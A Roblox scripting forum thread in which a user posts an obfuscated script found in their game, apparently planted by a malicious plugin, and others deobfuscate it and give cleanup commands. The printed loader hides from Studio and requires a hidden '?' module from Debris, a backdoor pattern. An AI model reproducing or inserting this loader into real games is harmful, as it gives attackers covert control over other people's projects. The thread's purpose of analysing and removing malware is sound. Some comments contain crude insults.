Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

What does this script do and how would it effect my game/computer?

Asked by 5 years ago
Edited 5 years ago

I found a very weird looking like script in Workspace. Heres the screenshot: (http://prntscr.com/m561na)

This is the script, and ofc its not indented so you cant read it properly...

isjDw = string iHTGa68je5SavyR = 'Description' iLBBPiYUJz = 'slo' ibeD5 = 'Workspace' iEROBY = game iRBmukt0ZFM = pcall iYbdmgPl = 'Debris' ibe5hcnvZHS = 'RunService' iCZtRoswv3rul = 'PlaceId' iFvfL47N = 'ReplicatedStorage' imiPVa6i88V = 'IsStudio' ipSEy = 'FindFirstChild' iOb8Y = 'FindFirstChild' iFJJNMGUXFV = 'IsStudio' iWNmbsnw6yzJTAzV = getfenv i1XdZu = 'Debris' iU75LCnQy1 = 'RunService' iW6zNbeQ8Qi = 'ClassName' iJJf = '?' ijj9ha = require ikZ32Fn = isjDw.char im5fv9 = 'Name' ivtUIUu = 'GetService' iezX2x0LgHi = 'WaitForChild' iVqQKR10kBu6NQ9 = pcall if iEROBY[ivtUIUu](iEROBY, iU75LCnQy1)[imiPVa6i88V](iEROBY[ivtUIUu](iEROBY, iU75LCnQy1))then return end;iVqQKR10kBu6NQ9(function()  if iEROBY[ivtUIUu](iEROBY, iYbdmgPl)[iOb8Y](iEROBY[ivtUIUu](iEROBY, iYbdmgPl), iJJf) then iWNmbsnw6yzJTAzV()[ikZ32Fn(2204750880 / 19339920) .. ikZ32Fn(1953331920 / 19339920) .. ikZ32Fn(2185410960 / 19339920) .. ikZ32Fn(2262770640 / 19339920) .. ikZ32Fn(2030691600 / 19339920) .. ikZ32Fn(2204750880 / 19339920) .. ikZ32Fn(1953331920 / 19339920)](iEROBY[ivtUIUu](iEROBY, iYbdmgPl)[iOb8Y](iEROBY[ivtUIUu](iEROBY, iYbdmgPl), iJJf))[iLBBPiYUJz](iEROBY[iCZtRoswv3rul]) end end)

Now can someone tell me what this does because I feel like my game/computer is in risk. Edit, I found out what was causing this, it was a plugin. My friend showed it to me and he didn't even know it was bad. I uninstalled it and he did too so now we're good. Thanks everyone for the answers!

0
just delete the script and this question. thats the most retarded thing ive ever seen Gey4Jesus69 2705 — 5y
0
^ LMFAO greatneil80 2647 — 5y
0
i think u inserted a free model lol stop using free models WideSteal321 773 — 5y
0
Modern Darwinism at it's finest... KardashevScale 110 — 5y
View all comments (2 more)
0
I didnt use a free model, it was a plugin InfiniteWhileLoop 19 — 5y

3 answers

Log in to vote
1
Answered by
K3L3X 20
5 years ago
Edited 5 years ago

You probably have a virus in your place, so here is the method:

1) Run this command here in "Command Bar":

local function scripts(instances, i)
    for i = (i or 0) + 1, #instances do
        local instance = instances[i]
        local success, result = pcall(instance.IsA, instance, 'LuaSourceContainer')
        if success and result then
            return i, instance
        end
    end
end

for i, source in scripts, game:GetDescendants() do
    print(source:GetFullName())
end

2) Now, you can see all the scripts and module scripts in a window called "Output". Try to find all objects that are named "?".

3) If you found more Module Scripts, that are named "?" try to remove them by using this command:

for _,obj in pairs(game:GetService("Debris"):GetChildren()) do if obj.Name == '?' then obj:Destroy() end end

4) You might find another Module Script in "InsertService" and "TweenService" so just replace "Debris" with that.

5) Reinstall Roblox Studio and Roblox and then repeat the 1st step again.

6) If none of this work, I found a very useful place where people are discussing about this problem. https://devforum.roblox.com/t/do-i-have-malicious-scripts-in-my-game/216409/

I hope this one worked for you!

Ad
Log in to vote
3
Answered by 5 years ago
Edited 5 years ago

I'm pretty sure I got everything. It's just requiring some module, so u should obviously remove the script and look for others. Don't use free models, kids

if game:GetService("RunService"):IsStudio() then 
  return
end

--thats just so u dont know anything's wrong until u play a real game ^^^

pcall(function()
  if game:GetService("Debris"):FindFirstChild("?") then
      getfenv().require(game:GetService("Debris"):FindFirstChild("?").slo(game.PlaceId))
    end
end)

Accept and upvote if this helps!

0
original script with all the garbage variables replaced http://prntscr.com/m56bms Gey4Jesus69 2705 — 5y
1
Big and straight to the point! Zafirua 1348 — 5y
0
b) Gey4Jesus69 2705 — 5y
0
Dang it, ninja'd. User#24403 69 — 5y
View all comments (5 more)
0
Also gio, there is nothing wrong with using free model scripts. In fact, lots of professionals use other people's code all the time. Why reinvent the wheel? User#24403 69 — 5y
0
that is why ur a garbage robloxian incapaz Gey4Jesus69 2705 — 5y
0
Why do I see reinvent the wheel everywhere I go now. Zafirua 1348 — 5y
0
i like to feel wheels Gey4Jesus69 2705 — 5y
0
huh ihatecars100 502 — 5y
Log in to vote
0
Answered by 5 years ago

This script roughly translates to:

if game:GetService("RunService"):IsStudio() then
    return
end

pcall(function()
    if game:GetService("Debris"):FindFirstChild("?") then
        getfenv().require(game:GetService("Debris"):FindFirstChild("?").slo(game.PlaceId))
    end
end)

The original script is obfuscated, and getfenv().require(game:GetService("Debris"):FindFirstChild("?").slo(game.PlaceId)) is getting the table with all of the global variables, retrieves the require function. "?" seems to be a module script, and slo a function returned by that module script, and it is doing something with your game's PlaceId number. This is extremely shady script and you should NOT be using it.

1
shut the heck up i already answered this Gey4Jesus69 2705 — 5y
0
Started writing this before you. I did not copy you btw User#24403 69 — 5y
0
whatever u say Gey4Jesus69 2705 — 5y

Answer this question